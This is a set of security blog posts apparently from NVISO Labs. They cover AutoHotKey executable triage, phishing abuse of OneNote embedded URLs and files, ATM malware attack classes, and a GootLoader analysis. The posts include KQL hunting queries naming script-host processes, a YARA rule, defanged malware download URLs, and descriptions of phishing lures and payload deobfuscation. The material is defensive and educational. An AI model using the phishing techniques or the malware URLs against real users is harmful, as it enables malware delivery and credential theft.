Normal view

There are new articles available, click to refresh the page.
Before yesterdayNVISO Labs

The SOC Toolbox: Analyzing AutoHotKey compiled executables

20 July 2023 at 07:00

One day, a long time ago, whilst handling my daily tasks, an alert was generated for an unknown executable that was flagged as malicious by Microsoft cloud app security.

When I downloaded the file through Microsoft security center, I immediately noticed that it might be an AutoHotKey script. Namely, by looking at the Icon, which is the AutoHotKey logo.

As with many unknown executables I like to inspect the executable in PE studio and look at the strings. URL patterns are a quick way to see if an executable could be exfiltrating if there was no obfuscation used.

In the strings section of PE studio there were multiple mentions of AutoHotKey, which confirmed my previous suspicions that this was indeed a AutoHotKey executable. A colleague of mine mentioned this YARA rule to detect AutoHotKey executables which could be used to identify this file.

AutoHotKey executable in PE studio

After a quick internet search I found the program Exe2Ahk (www.autohotkey.com/download/Exe2Ahk.exe) which promises to convert executables to AHK (AutoHotKey) scripts. However, this program did not work for me and I had to find another way to extract the AutoHotKey script.

Unsuccessful extraction using Exe2Ahk

Thanks to a form post on the Autohotkey forums. I found out that the uncompiled script is present in the RCDATA section of the executable. When inspecting the executable with 7zip, we notice that we can extract the script that is stored in the .rsrc\RCDATA folder. The AutoHotKey script is named: >AUTOHOTKEY SCRIPT<. The file can be extracted by simply dragging and dropping the file from the 7zip folder to any other folder on your pc.

RCDATA folder in 7Zip

Another website (where I unfortunately lost the URL to) mentioned that the same can be achieved via inspecting the file with Resource Hacker. Resource Hacker parses the PE file sections and can extract embedded files from those sections.

RCDATA folder in Resource Hacker

Once the file is extracted via your preferred method, you can open it in any text editor and start your analysis of the file, if you run in to any unknown methods or parameters used in the script or have difficulty with the syntax, the AutoHotKeys documentation can probably help you out.

In this case the file was not malicious, which is why we won’t go in more detail, but we have seen cases in the past where threat actors abused this tool to create malware.

Nicholas Dhaeyer

Nicholas Dhaeyer is a Threat Hunter for NVISO. Nicholas specializes in Threat Hunting, Malware analysis & Industrial Control System (ICS) / Operational Technology (OT) Security. Nicholas has worked in the NIVSO SOC solving security incidents for our MDR clients. You can reach out to Nicholas via Twitter or LinkedIn

OneNote Embedded URL Abuse

27 March 2023 at 07:00
OneNote Embedded URL Abuse

In my previous blogpost I described how OneNote is being abused in order to deliver a malicious URL. In response to this attack, helpnetsecurity recently reported that Microsoft is planning to release a fix for the issue in April this year. Currently, it’s still unknown what this fix will look like, but from helpnetsecurity’s post, it seems like Microsoft’s fix will focus on the OneNote embedded file feature.
During my testing, I discovered that there is another way to abuse OneNote to deliver malware: Using URLs. The idea is similar to how Threat Actors are already abusing URLs in HTML pages or PDFs. Where the user is presented with a fake warning or image to click on which would open the URL in their browser and loads a phishing page.

The focus of this blogpost will be on URLs withing a OneNote file that is delivered via an attachment. Not a URL that leads to OneNote online.

There are 3 ways to deliver URLs via a OneNote file.

  1. Just plainly paste your URL in the OneNote file (Clickable URL)
  2. Make some text (like “Open”) clickable with a malicious URL (Clickable text)
  3. Embed URLs in pictures (Clickable picture)

Now it is important to note that these 3 ways rely on social engineering and tricking the user to click your URL or picture, either via instructions or deceiving the user. We have seen this technique being used through OneDrive and SharePoint online already

So, let’s create some examples and see what this attack could look like.

URLs in OneNote

Clickable URLs

The most straightforward way is to just put a URL in a OneNote file. In an actual phishing email, the OneNote file will probably not just contain the URL alone. To make things more believable, Threat Actors could potentially write a small story or an “encrypted” message in the OneNote file (an example of this can be observed below). The idea would then be to convince the user into clicking the URL in order to “decrypt” the message. Once clicked on the URL, the user would then either have to download something or provide credentials to “log in”.

If you would like to read the message in the OneNote file, you would have to click the URL. Which could then lead to the download of a malicious file or a credential harvest page.
An example of such an “encrypted” message could be:

An example of a fake encrypted message where a user has to click a URL to decrypt it

Clickable text

Similar to clickable URLs, you can hide a URL behind normal text. Once you hover over the URL, you will see where it points towards. If the address points to wards a malicious domain that uses typo squatting (e.g. g00gle[.]com instead of google[.]com) then Threat Actors could fool the human eye.

The text “open” hiding a malicious URL


The issue here lies in the fact that once you click the “open” text, you will immediately be redirected to the website. There is no pop up asking if you really want to visit the website.
Taking this technique into account, it is also possible to use our “encrypted message” example from before and make the user think they will visit a legitimate page but embed a different URL:

The visible URL “https://microsoft.com&#8221; is hiding a malicious URL

Clickable Pictures

To create an embedded URL in a picture, right-click your picture, and Click “Link…”


Here you can put a URL to your malicious file or phishing page. Yes, you could spin this story so that you would have to authenticate and login, to your browser with a fake login website.
Do note that to open a URL that is embedded within a picture, you will need to hold the CTRL key and click the image. The phishing document will have to instruct the user to hold CTRL and click the picture; however, I do not see this as an obstacle for threat actors.

A picture with the button “open” that has an embedded malicious URL

Detection Capabilities

On OneNote Interaction

Opening the URL, will launch the default browser. This can be translated to OneNote spawning a child process, which is the browser. A full process flow could look something like this:

Process execution of explorer.exe > Outlook.exe > OneNote.exe > firefox.exe


Do note that, as typically done so by Outlook, once you click the file, it saves a copy in a temporary cache folder (depending on your version of outlook, this can be a slightly different place than is shown above here, but generally, you will have the name INetCache and Content.Outlook in the folder path.)

A quick hunting rule for this behaviour can be to look for the process tree that was observed before. This process tree can be adjusted to the needs of your environment, depending on what browser is being used (e.g. if you are running brave.exe, you should include this in the “FileName” section of the query)

DeviceProcessEvents
| where InitiatingProcessFileName contains "onenote.exe"
| where FileName has_any ("firefox.exe","msedge.exe","chrome.exe")

Now if you’d like a more “catch all” approach, the last line can be replaced with a query that looks at the command line and looks for http or other protocols like ftp, as both chromium & Firefox-based browsers accept URLs as a command line argument to open a specific website.

| where ProcessCommandLine has_any ("http","ftp")

On Email Delivery

During our tests, Microsoft Defender was unable to detect and extract the URLs that were embedded in the OneNote file, as can be observed in the screenshot below. Defender was unable to extract the URLs from the OneNote files, nor was it able to show that a URL was embedded in the file.

No URLs extracted from the OneNote Attachment


This also means that Microsoft does not create a safe link for the URL and thus a threat actor can bypass the “potential malicious URL clicked” alert which helps against phishing pages, as this looks at URL clicks, which is impossible if no URLs are detected

Conclusion

Whilst embedded files within OneNote are currently still a big threat, you shouldn’t forget that there are other ways of abusing OneNote features that can be used for malicious intent. As we observed, Microsoft does not extract the URLs from a OneNote file and there are multiple ways of avoiding detection & tricking the user into clicking a URL. From there, the same tactics are used to deliver second stage malware, be it via ISO file or ZIP file that contains malicious scripts.

Nicholas Dhaeyer

Nicholas Dhaeyer is a Threat Hunter for NVISO. Nicholas specializes in Threat Hunting, Malware analysis & Industrial Control System (ICS) / Operational Technology (OT) Security. Nicholas has worked in the NVISO SOC solving security incidents for our MDR clients. You can reach out to Nicholas via Twitter or LinkedIn

OneNote Embedded file abuse

27 February 2023 at 08:00

OneNote in the media

In recent weeks OneNote has gotten a lot of media attention as threat actors are abusing the embedded files feature in OneNote in their phishing campaigns.
I first observed this OneNote abuse in the media via Didier’s post. This was later also mentioned in Xavier’s ISC diary and on the podcast. Later, in the beginning of February, the hacker news covered this as well.

Attack technique

The OneNote feature that is being abused during these phishing campaigns is hiding embedded files behind pictures which entices the user to click the picture. If the picture is clicked, it will execute the file hidden beneath. These files could be executables, JavaScript files, HTML files, PowerShell, …. Basically any type of file that can execute malware when executed. Recently we have also observed the usage of .chm files which have an index.html file embedded that would run inline JavaScript.
On a Windows system this roughly translates to either one of the following processes executing the script/file: 'powershell.exe', 'pwsh.exe', 'wscript.exe', 'cscript.exe', 'mshta.exe', 'cmd.exe', 'hh.exe'.

An image of a malicious embedded OneNote file
An image of a malicious embedded OneNote file

Anatomy of a OneNote file

Didier did amazing work in his blogpost where he described how a OneNote file looks like. What is interesting to us, is that OneNote files work with GUIDs to indicate the start of the embedded file section. The GUID that represents the start of an embedded file in OneNote is: {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC} Using the following tool we can convert the GUID to a HEX string: e716e3bd65261145a4c48d4d0b7a9eac.
If a HEX editor is used, you can search for this string and find the exact location of the embedded file.
OneNote will then reserve 20 bytes. The first 8 bytes are used to indicate the length of the file, the following 4 bytes are unused and have to be zero, and the last 8 bytes being reserved and also zero. This results in the following HEX string E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 before the embedded file data beings.
When taking a look at the OneNote file through a HEX editor it becomes quickly clear that OneNote does not attempt to encrypt or compress anything. That is if you are looking at a .one file not a .onepkg. A .onepkg file acts similar as a ZIP file that contains the exported files from a OneNote Notebook. It is possible to open these files using 7zip.
The OneNote file (.one) will display the contents of the embedded file as followed:

A OneNote file in a HEX editor, that shows a plaintext embedded file

This means that we can easily check for known false positives while analyzing these files, which brings me to the next point, creating a detection rule.

YARA Rule

It would not be easy to create a detection rule that catches all malicious embedded files as usually scripts do not have a “magic byte” unlike executables which have the famous “MZ” header. While it would be easy to create a YARA rule that looks as the previously observed hex string + the MZ file header, this would only flag embedded executables. If this is your goal then it is a great rule, however I would like something more flexible that I can use on an email gateway to flag all potential malicious incoming OneNote files.
So I took a different approach. I observed that it is common for pictures (e.g.: screenshots) to be embedded in a OneNote file. I did not observe many cases that had other files embedded. This led me to create a YARA rule that would look at a OneNote file, ignore the file sections that indicate that an image is present but would raise an alert when any other file was observed. So instead of looking for Malicious files, I will ignore known legitimate files. This simple trick allowed me to create a high confident detection rule while not overloading analysts with too many false positives.
Of course every environment is different and if it is common for PDF files to be embedded in OneNote files in your environment, you should exclude those PDF files as well. Therefore, it is important to establish a baseline during a testing period.
Below is an example of this technique. The 00‘s after the ?? can be replaced with ?? as well. Although these bytes should always be empty, this rule will not detect the files if the bytes were altered.

rule OneNote_EmbeddedFiles_NoPictures
{
    meta:
        author = "Nicholas Dhaeyer - @DhaeyerWolf"
        date_created = "2023-02-14 - <3"
        date_last_modified = "2023-02-17"
        description = "OneNote files that contain embedded files that are not pictures."
        reference = "https://blog.didierstevens.com/2023/01/22/analyzing-malicious-onenote-documents/"

    strings:
        $EmbeddedFileGUID =  { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC }
        $PNG = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 89 50 4E 47 0D 0A 1A 0A }
        $JPG = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 FF D8 FF }
        $JPG20001 = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 6A 50 20 20 0D 0A 87 0A }
        $JPG20002 = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 FF 4F FF 51 }
        $BMP = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 42 4D }
        $GIF = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 47 49 46 }

    condition:
        $EmbeddedFileGUID and (#EmbeddedFileGUID > #PNG + #JPG + #JPG20001 + #JPG20002 + #BMP + #GIF)
}

The latest version of this rule can be found on my GitHub

The logic behind the rule is as follows; The YARA rule will match any file that has the GUID which defines that an embedded file is present in the OneNote file. Then it will count the amount of GUIDs it has found. If this is more than the amount of GUIDs which are directly followed by an Image file (specified here as #PNG + #JPG + #JPG20001 + #JPG20002 + #BMP + #GIF) then it means that other files are present and the rule matches. If not, then the file only contains images and is assumed to be safe.
After a file is flagged, an analyst should still take a look at the embedded files. DissectMalware created an amazing python script that helps with the extraction of the embedded files. An analyst or automation system can analyze the file and provide more context if the extracted files are malicious or not.

At the time of writing this blogpost I ran my YARA rule on VirusTotal to see if there were any detections. I only looked back 3 weeks and found more than 4000 files that matched the rule. One of which is d2e6629f8bbca3663e1d76a06042bc1d459d81572936242c44ccc6cd896bfd5c and did not have any detections on VirusTotal at the time of writing. When this file is executed (in the screenshot seen as the one with the filename doc.one), Microsoft detected it as being a Qakbot dropper.

MDE blocking a malicious OneNote file infected with Qakbot

One observation That we have made is that a lot of these malicious OneNote files have an embedded file that is inserted from the Z:\builder\ directory. I suspect that this is where the malware builder tool creates the actual malicious file and then inserts it in the OneNote file. If this is the case, then this can be used to identify and link these files to the tool that is used.

I build a quick POC to parse these files which can be found on my GitHub. Additionally, I created a YARA rule on my GitHub that will look for OneNote files that contain these suspicious folder paths

Execution of a script through OneNote

As I was curious what would happen if a script would be executed in OneNote, I created a Proof Of Concept (POC), a small .bat script that would execute the whoami command.

Microsoft MDE Process execution of the embdedded file

As can be observed above, OneNote as the parent process will execute cmd.exe /c {OneNoteFilePath} where a temporary version of the script is stored and this will be executed.
When looking at File creation events, we also observe that this file is created on disk:

FileCreate event for the path: c:\Users\Hera\AppData\Temp\OneNote\16.0\Exported\{CCA4A94E-126B-489B-8B23-2B2C160D42AC}\NT\0\whoami.bat

As a detection rule, it could prove fruitful to detect OneNote spawning any of the lolbins commonly used for script execution such as the previously mentioned ones: 'powershell.exe', 'pwsh.exe', 'wscript.exe', 'cscript.exe', 'mshta.exe', 'cmd.exe', 'hh.exe'. Additionally, looking for file creation or execution events under the path: C:\Users\Hera\AppData\Local\Temp\OneNote\16.0\Exported may give interesting results.

DeviceProcessEvents
| where ProcessCommandLine matches regex @".*C:\\Users\\.*\\AppData\\Local\\Temp\\OneNote\\.*\\Exported\\.*"
DeviceFileEvents
| where FolderPath matches regex @"C:\\Users\\.*\\AppData\\Local\\Temp\\OneNote\\.*\\Exported\\.*"

Observations in production environments

At some point I was confused as I saw all these articles about this new way of delivering malware in the media. However, to this point I had not yet seen one infection or flagged email arrive in our SOC. So I did some digging and it turns out that Microsoft is pretty good at preventing this new way of malware delivery.
So let’s show some statistics:
Over a period of 30 days with one client we observed 255 emails that contain a OneNote file:

255 observed emails of the FileType: “one;onenote”

48 of these 255 are not flagged by Microsoft as malicious. The others have been flagged as malicious, meaning that more than 80% of the OneNote attachments are already known as malicious.

Microsoft detecting malicious emails with the filetype: “one;onenote”

When we actually look at what the impact is, we can see that from the 207 malicious emails, only one was delivered.

Evidence of one malicious email being delivered

Which leads me to conclude that at this moment Microsoft is very good at blocking these emails. My hypothesis is because OneNote embedded files are embedded in plain text and without obfuscation and defense evasion of the threat actor, they are very easy to catch with traditional ways of scanning files. Once this changes we might see more impacted cases being reported.

Conclusion

As threat actors are looking for new ways to deliver their malware, we need to be one step ahead to protect our data and users. And while Microsoft has already proven to detect and block these phishing emails, we need to take in consideration that not everyone is running a Microsoft product and that at some point threat actors will find a way to hide their malware better so that it is not as easily detected.
This blog post was meant to take you step by step through the process of creating a YARA detection rule that can help you prevent being compromised with one of these samples. What should be considered when creating a detection rule like this is that you will have to start from a baseline where you know which embedded files are commonly used within your environment. Although this YARA rule can be used in ‘block’ mode, where it will block every email that matches this rule, it is recommended to use this YARA rule in ‘Alert’ mode where an alert for the SOC team is created, and the email is held until analysis of the attachment is done, as this will minimize the impact of possible legitimate files being blocked.
Additionally, my goal of this blog post is to show that you don’t always have to think about flagging files as malicious. You can also do it the other way around and flag files as legitimate, ignore those and focus your attention on the files that have not been flagged. However, this does require a certain security maturity and takes more time to go through the flagged files.

About the Author

Nicholas Dhaeyer

Nicholas Dhaeyer is a Threat Hunter for NVISO. Nicholas specializes in Malware analysis, Industrial Control System (ICS) / Operational Technology (OT) Security. Nicholas has worked in the NVISO SOC solving security incidents for our MDR clients. You can reach out to Nicholas via Twitter or LinkedIn

Malware-based attacks on ATMs – A summary

10 January 2023 at 08:00

Introduction

Today we will take a first look at malware-based attacks on ATMs in general, while future articles will go into more detail on the individual subtopics.

ATMs have been robbed by criminal gangs around the world for decades. A successful approach since ~ 20 years is the use of highly flammable gas, which is fed into the ATM safe and ignited during a robbery. For an attacker, this is an inexpensive way to get the cash, but it also leads to great publicity and thus risk of being caught by security authorities. In addition, more and more vending machines are being equipped with systems that ink the money as soon as the machine is physically breached.

Since the beginning of the 2010s, there has been a trend for more and more criminal gangs to switch to non-violent methods without explosives. We are talking about so-called physical malware attacks. Here, malicious software is brought onto the PC inside the ATM, for example, via a USB stick. This malware-based attack usually results in all cash inside the safe being ejected via the regular dispensing mechanism (cash-out attack). A successful attack would effectively put the malware in full command over the ATM thereby rendering it almost impossible to stop them.

Another aspect that cannot be ignored is that an infected ATM often enables attacks on other devices or services within the network. For example, for research and testing purposes, we were able to develop a malware that attacked all ATMs within the network from an infected device (initial ATM). The result was simultaneous cash withdrawal from all ATMs within the shared network. It was also interesting here that other devices such as a Raspberry Pi connected to the same network could achieve the same results as well.

Even though during the Covid pandemic in 2020 such malware-based attacks on ATMs decreased, a clear increase has been visible since the beginning of 2022. Malware to attack specific types of devices can be purchased today for about 1000USD within the darknet.

To protect against such attacks, it is necessary to prevent malware from being installed and executed. Through years of research and experience in real projects, we have been able to help ATM manufacturers and banks protect their devices from such attacks.

ATM Internals

Generally, an ATM consists of two components:

Safe

  • Includes:
    • Cash dispenser
    • Cassettes containing banknotes
  • Strongly protected by heavy locks and armored walls

Cabinet

  • Includes the computer connected to other devices:
    • Card reader
    • Pin pad
    • Touch screen
    • Network components
    • etc.
  • Mostly weakly protected from physical attack.
    • Unarmored: Door and walls are often made of thin plastic or sheet metal.Poor quality locks: locks are often no better than those on private mailboxes, which can be opened in seconds with a lockpick.
    • Often only one key for several ATMs is used.

The computer inside the cabinet usually runs on the Windows operating system, which in turn runs the application for legitimate use of the ATM. A user / bank customer should not be able to break out of this application (e.g. via the touchscreen) to access the underlying system. For this purpose, Windows generally runs in the so-called Kiosk mode, which limits the input options only to the necessary user functions within the application.

Input values within the user application via the touchscreen or pin pad, for example, are in turn processed by the software and then transmitted to other devices such as the cash dispenser via corresponding commands. This communication between the user application and internal devices takes place via the XFS standard (Extensions for Financial Services). This standard provides an interface (API) for the Windows Hardware Manager via which all applications can access it.

When the user initiates a transaction such as a cash withdrawal, the bank’s processing center is also contacted, which validates the transaction and ultimately transmits the confirmation for withdrawal. The connection between the ATM and the processing center is generally made via a cable, but occasionally also wirelessly (WiFi or GSM).

Overview ATM internals

Overview ATM

Vulnerabilities to ATM malware

In general, we classify ATM vulnerabilities regarding malware attacks into three categories. The combination of vulnerabilities from these categories allows an attacker to dispense all cash or attack other systems on the same network in many cases.

Insufficient physical security

The first step for malware-based attacks is usually to open the cabinet in order to interact with the integrated computer via a plugged-in keyboard or special USB stick. Here, we came into contact with recurring security vulnerabilities in various assessments:

  • The lock of the cabinet is insecure and can be opened with a lockpick within seconds.
  • The housing (door and walls) are made of thin plastic or sheet metal and can be destroyed with minor effort.
  • Locks from different ATMs can be opened with the same key. If an attacker obtains such a master key, they can often open all the ATMs in different branches.
  • The keys are not secure against copying. If an attacker obtains a key, it can be copied as often as desired.
  • Lack of security for e.g. USB interfaces. If an attacker succeeds in opening the cabinet, they will in almost all cases find unprotected (open) USB interfaces that allow interaction via keyboard.
Computer inside the cabinet with open USB port

Computer inside the cabinet with open USB ports

Insufficient configuration of the system and peripheral devices

It is often the case that the XFS standard for communication between OS and peripherals is configured very insecurely. There is often no authentication at all between the peripherals and the OS. An attacker with access to the computer could execute malware to communicate with the cash dispenser, and thus cash-out all available money. In summary, we found the following recurring security flaws in the system and device configurations:

  • Insufficient or even missing authentication between USB peripherals and the OS which would allow so called ATM black-box attacks.
  • Lack of communication encryption between OS and peripherals. An attacker can thus often read sensitive card data and transactions of the user.
  • Lack of hard disk encryption. An attacker can extract and read any hard disk content. In addition to various software that can be misused to further develop malware, we were also able to extract unencrypted videos and pictures of customers that were taken via the camera integrated in the ATM.
  • Inadequate protection of the kiosk mode. If an attacker manages to open the cabinet and plug in a keyboard, they can often break out of the banking application using special keyboard shortcuts and thus access the underlying Windows system. However, in some cases this is also possible via the touch screen of the machine without having to open the cabinet.
  • Boot from external storage media. ATMs are occasionally configured to boot from an attached storage medium such as a USB stick when they are restarted. If an attacker can boot into an alternative system in this way, hard disk contents can be completely extracted or even communicate directly with peripherals such as the cash dispenser.
  • Inadequate or missing application control configuration. Today’s malware or public enumeration tools are often executed via Powershell scripts or exe files. In many of our assessments, the case was that the execution of such software was insufficiently blocked or not blocked at all.
  • Weak or missing AV solutions. The installation and execution of tools and malware is not or often insufficiently detected because weak AV software are used for protection or these are not up to date.

ATM allows breaking out of the banking application using a connected keyboard, exposing that the current user has full administrative access.

Insufficient network security

An attacker with access to the ATM’s network interface (e.g. Ethernet) can attack other systems or services within the network. In one of our scenarios, it was even possible to dispense cash from all ATMs within the network. In general, such scenarios are based on the following vulnerabilities:

  • Lack of or insufficient network access control. An attacker who has been able to connect to the ATM network via Ethernet often has full authorization to communicate with other systems on the same network. In many cases, infiltration of other devices or even the Active Directory is possible.
  • Unencrypted communication to the backend. An attacker in a man-in-the-middle position between the processing center and the ATM can read sensitive transaction data, but also manipulate it to issue malformed funds.
  • Lack of or insufficient authentication to the exposed ATM network service. Often, own (spoofed) backend commands can be sent to the exposed ATM service to make it cash out.
Example - Bypassing outdated NAC (Network Access Control) with public tools

Example – Bypassing outdated NAC (Network Access Control) with public tools

Attack Scenarios

Due to the large number of possible vulnerabilities, individual malware-based attack scenarios often arise. The following figure shows general attack scenarios, which are also performed in our assessments.

Overview - Attack scenarios

Recommendations

In general, it is difficult to make all-encompassing recommendations for securing ATMs. Even in our current assessments, we are increasingly confronted with new and very individual security vulnerabilities. However, we can make general recommendations for securing ATMs against malware attacks, as some vulnerabilities are present on a regular basis:

  • The computer should be in the safe. Securing the computer in the safe would probably be the best possible protection against malware-based attacks. Unfortunately, we could not detect such a protection in any of our analyses so far.
  • If it is not possible to place the computer in the safe:
    • The cabinet housing and door should also be made of solid material. It should not be possible to open the lock of the cabinet using a lockpick. Generally, security locks or even digital locks with proper auditing possibilities should be used here. The cabinet of each ATM should only be able to be opened with an individual key.
    • Network devices such as switches should not be placed outside the ATM.
  • All communication between ATM and backend should be encrypted according to current standards.
  • All transactions between the ATM and the backend should be mutually authenticated for example using TLS mutual authentication.
  • All unused services exposed by the ATM should be turned off.
  • The firewall between the ATM and backend should be configured to allow remote access only to the service that is needed. All network services that are not needed should be turned off.
  • Remote access should follow strict password policies or even better: key-based authentication mechanisms.
  • Any communication between the OS and peripherals such as the cash dispenser should be encrypted. Here the ATM vendor can be consulted since it is usually a simple configuration that can be enabled.
  • The OS as well as used applications should be updated regularly including hotfixes.
  • It should not be possible to connect any peripheral (e.g. keyboard) to the computer and use it. One possibility would be to use local OS policies or third-party software to allow only explicit devices. However, one should be careful with such whitelisting, as the device IDs themselves can be spoofed.
  • The execution of scripts or other software should be limited as much as possible and be restricted to only what is necessary. One possibility would be the use of Windows Applocker.
  • Any software that is not needed (e.g. software used for development) should be removed.
  • Hard disks should be fully encrypted.
  • Access to the BIOS should be protected by e.g. setting a strong password.
  • A boot from the hard disk of the ATM should be forced. It should not be possible to access the boot menu without authentication. In addition make sure to enable measured boot.
  • AV solutions should be used and regularly updated. In general, we prefer the use of Windows Defender over third-party software.
  • Abnormal behavior or communication regarding network but also peripherals should be logged and alarms triggered.

Conclusion

Malware-based attacks that rely on physical access are becoming increasingly popular. Today, however, we can already see some security improvements in current assessments. However, our experience shows that the improvement within the last years is still insufficient. Many protections could still be circumvented to exploit initial vulnerabilities. This is usually not because manufacturers and banks deliberately avoid security precautions, but because the whole environment and its processes often do not allow simple security upgrades. Some examples are that to ensure proper network access control (NAC), all switches within all branches would have to be replaced, technical staff still needs an interface (e.g. USB) to perform administrative tasks on the ATM, etc.

In general, it turns out that criminal hacker gangs are always one step ahead and find ways to bypass current security measurements.

About the Author

Alexander Poth

Alexander is a senior security consultant at NVISO. He regularly performs a variety of assessments, including IoT and embedded devices, Web and Mobile applications.

Analysis of a trojanized jQuery script: GootLoader unleashed

20 July 2022 at 08:00

Update 24/10/202:

We have noticed 2 changes since we published this report 3 months ago.

  1. The code has been adapted to use registry key “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Personalization” instead of “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Phone” (sample SHA256 ed2f654b5c5e8c05c27457876f3855e51d89c5f946c8aefecca7f110a6276a6e)
  2. When the payload is Cobalt Strike, the beacon configuration now contains hostnames for the C2, like r1dark[.]ssndob[.]cn[.]com and r2dark[.]ssndob[.]cn[.]com (all prior CS samples we analyzed use IPv4 addresses).

In this blog post, we will perform a deep analysis into GootLoader, malware which is known to deliver several types of payloads, such as Kronos trojan, REvil, IcedID, GootKit payloads and in this case Cobalt Strike.

In our analysis we’ll be using the initial malware sample itself together with some malware artifacts from the system it was executed on. The malicious JavaScript code is hiding within a jQuery JavaScript Library and contains about 287kb of data and consists of almost 11.000 lines of code. We’ll do a step-by-step analysis of the malicious JavaScript file.

TLDR techniques we used to analyze this GootLoader script:

  1. Stage 1: A legitimate jQuery JavaScript script is used to hide a trojan downloader:
    Several new functions were added to the original jQuery script. Analyzing these functions would show a blob of obfuscated data and functions to deobfuscate this blob.
  2. The algorithm used for deobfuscating this blob (trojan downloader):
    1. For each character in the obfuscated data, assess whether it is at an even or uneven position (index starting at 0)
    1. If uneven, put it in front of an accumulator string
    1. If even, put it at the back of the accumulator string
    1. The result is more JavaScript code
  3. Attempt to download the (obfuscated) payload from one of three URLs listed in the resulting JavaScript code.
    1. This failed due to the payload not being served anymore and we resorted to make an educated guess to search for an obfuscated (as defined in the previous output) “createobject” string on VirusTotal with the “content” filter, which resulted in a few hits.
  4. Stage 2: Decode the obfuscated payload
    1. Take 2 digits
    1. Convert these 2 decimal digits to an integer
    1. Add 30
    1. Convert to ASCII
    1. Repeat till the end
    1. The result is a combination of JavaScript and PowerShell
  5. Extract the JavaScript, PowerShell loader, PowerShell persistence and analyze it to extract the obfuscated .NET loader embedded in the payload
  6. Stage 3: Analyze the .NET loader to deobfuscate the Cobalt Strike DLL
  7. Stage 4: Extract the config from the Cobalt Strike DLL

Stage 1 – sample_supplier_quality_agreement 33187.js

Filename: sample_supplier_quality_agreement 33187.js
MD5: dbe5d97fcc40e4117a73ae11d7f783bf
SHA256: 6a772bd3b54198973ad79bb364d90159c6f361852febe95e7cd45b53a51c00cb
File Size: 287 KB

To find the trojan downloader inside this JavaScript file, the following grep command was executed:

grep -P "^[a-zA-Z0-9]+\("
Fig 1. The function “hundred71(3565)” looks out of place here

This grep command will find entry points that are calling a JavaScript function outside any function definition, thus without indentation (leading whitespace). This is a convention that many developers follow, but it is not a guarantee to quickly find the entry point. In this case, the function call hundred17(3565) looks out of place in a mature JavaScript library like jQuery.

When tracing the different calls, there’s a lot of obfuscated code, the function “color1” is observed Another way to figure out what was changed in the script could be to compare it to the legitimate version[1] of the script and “diff” them to see the difference. The legitimate script was pulled from the jQuery website itself, based on the version displayed in the beginning of the malicious script.

Fig 2. The version of the jQuery JavaScript Library displayed here was used to fetch the original

Before starting a full diff on the entire jQuery file, we first extracted the functions names with the following grep command:

grep 'function [0-9a-zA-Z]'

This was done for both the legitimate jQuery file and the malicious one and allows us to quickly see which additional functions were added by the malware creator. Comparing these two files immediately show some interesting function names and parameters:

Fig 3. Many functions were added by the malware author as seen in this screenshot

A diff on both files without only focusing on the function names gave us all the added code by the malware author.

Color1 is one of the added functions containing most of the data, seemingly obfuscated, which could indicated this is the most relevant function.

Fig 4. Out of all the added functions, “color1()” contains the most amount of data

The has6 variable is of interest in this function, as it combines all the previously defined variables into 1:

Further tracing of the functions eventually leads to the main functions that are responsible for deobfuscating this data: “modern00” and “gun6”

Fig 5. Function modern00, responsible for part of the deobfuscation algorithm
Fig 6. Function gun6, responsible for the modulo part of the deobfuscation algorithm

The deobfuscation algorithm is straightforward:

For each character in the obfuscated string (starting with the first character), add this character to an accumulator string (initially empty). If the character is at an uneven position (index starting from 0), put it in front of the accumulator, otherwise put it at the back. When all characters have been processed, the accumulator will contain the deobfuscated string.

The script used to implement the algorithm would look similar to the following written in Python:

Fig 7. Proof of concept Python script to display how the algorithm functions
Fig 8. Running the deobfuscation script displays readable code

CreateObject, observed in the deobfuscated script, is used to create a script execution object (WScript.Shell) that is then passed the script to execute (first script). This script (highlightd in white) is also obfuscated with JavaScript obfuscation and the same script obfuscation that was observed in the first script.

Deobfuscating that script yields a second JavaScript script. Following, is the second script, with deobfuscated strings and code, and “pretty-printed”:

Fig 9. Pretty printed deobfuscated code

This script is a downloader script, attempting to initiate a download from 3 domains.

  • www[.]labbunnies[.]eu
  • www[.]lenovob2bportal[.]com
  • www[.]lakelandartassociation[.]org

The HTTPS requests have a random component and can convey a small piece of information: if the request ends with “4173581”, then the request originates from a Windows machine that is a domain member (the script determines this by checking for the presence of environment variable %USERDNSDOMAIN%).

The following is an example of a URL:
hxxps://www[.]labbunnies[.]eu/test[.]php?cmqqvfpugxfsfhz=71941221366466524173581

If the download fails (i.e., HTTP status code different from 200), the script sleeps for 12 seconds (12345 milliseconds to be precise) before trying the next domain. When the download succeeds, the next stage is decoded and executed as (another) JavaScript script. Different methods were attempted to download the payload (with varying URLs), but all methods were unsuccessful. Most of the time a TCP/TLS connection couldn’t be established to the server. The times an HTTP reply was received, the body was empty (content-length 0). Although we couldn’t download the payload from the malicious servers, we were able to retrieve it from VirusTotal.

Stage 2 – Payload

We were able to find a payload that we believe, with high confidence, to be the original stage 2. With high confidence, it was determined that this is indeed the payload that was served to the infected machine, more information on how this was determined can be found in the following sections. The payload, originally uploaded from Germany, can be found here: https://www.virustotal.com/gui/file/f8857afd249818613161b3642f22c77712cc29f30a6993ab68351af05ae14c0f

